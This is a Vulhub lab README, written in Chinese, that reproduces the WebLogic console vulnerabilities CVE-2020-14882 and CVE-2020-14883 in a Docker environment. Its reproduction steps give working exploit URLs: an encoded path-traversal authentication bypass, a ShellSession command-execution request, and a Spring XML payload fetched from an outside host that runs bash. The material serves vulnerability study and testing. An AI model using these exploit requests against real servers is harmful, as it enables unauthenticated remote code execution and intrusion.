Files
vulhub/weblogic/CVE-2020-14882/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

80 lines
3.4 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Weblogic 管理控制台未授权远程命令执行漏洞CVE-2020-14882CVE-2020-14883
Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞分别是CVE-2020-14882和CVE-2020-14883。
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
参考链接:
- https://www.oracle.com/security-alerts/cpuoct2020traditional.html
- https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
## 漏洞环境
执行如下命令启动一个Weblogic 12.2.1.3版本的服务器:
```
docker compose up -d
```
启动完成后,访问`http://your-ip:7001/console`即可查看到后台登录页面。
## 漏洞复现
首先测试权限绕过漏洞CVE-2020-14882访问以下URL即可未授权访问到管理后台页面
```
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
```
![](1.png)
访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码:
![](2.png)
此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种一是通过`com.tangosol.coherence.mvel2.sh.ShellSession`,二是通过`com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext`
直接访问如下URL即可利用`com.tangosol.coherence.mvel2.sh.ShellSession`执行命令:
```
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
```
进入容器,可以发现`touch /tmp/success1`已成功执行:
![](3.png)
这个利用方法只能在Weblogic 12.2.1以上版本利用因为10.3.6并不存在`com.tangosol.coherence.mvel2.sh.ShellSession`类。
`com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext`是一种更为通杀的方法最早在CVE-2019-2725被提出对于所有Weblogic版本均有效。
首先我们需要构造一个XML文件并将其保存在Weblogic可以访问到的服务器上`http://example.com/rce.xml`
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
```
然后通过如下URL即可让Weblogic加载这个XML并执行其中的命令
```
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")
```
![](4.png)
这个利用方法也有自己的缺点就是需要Weblogic的服务器能够访问到恶意XML。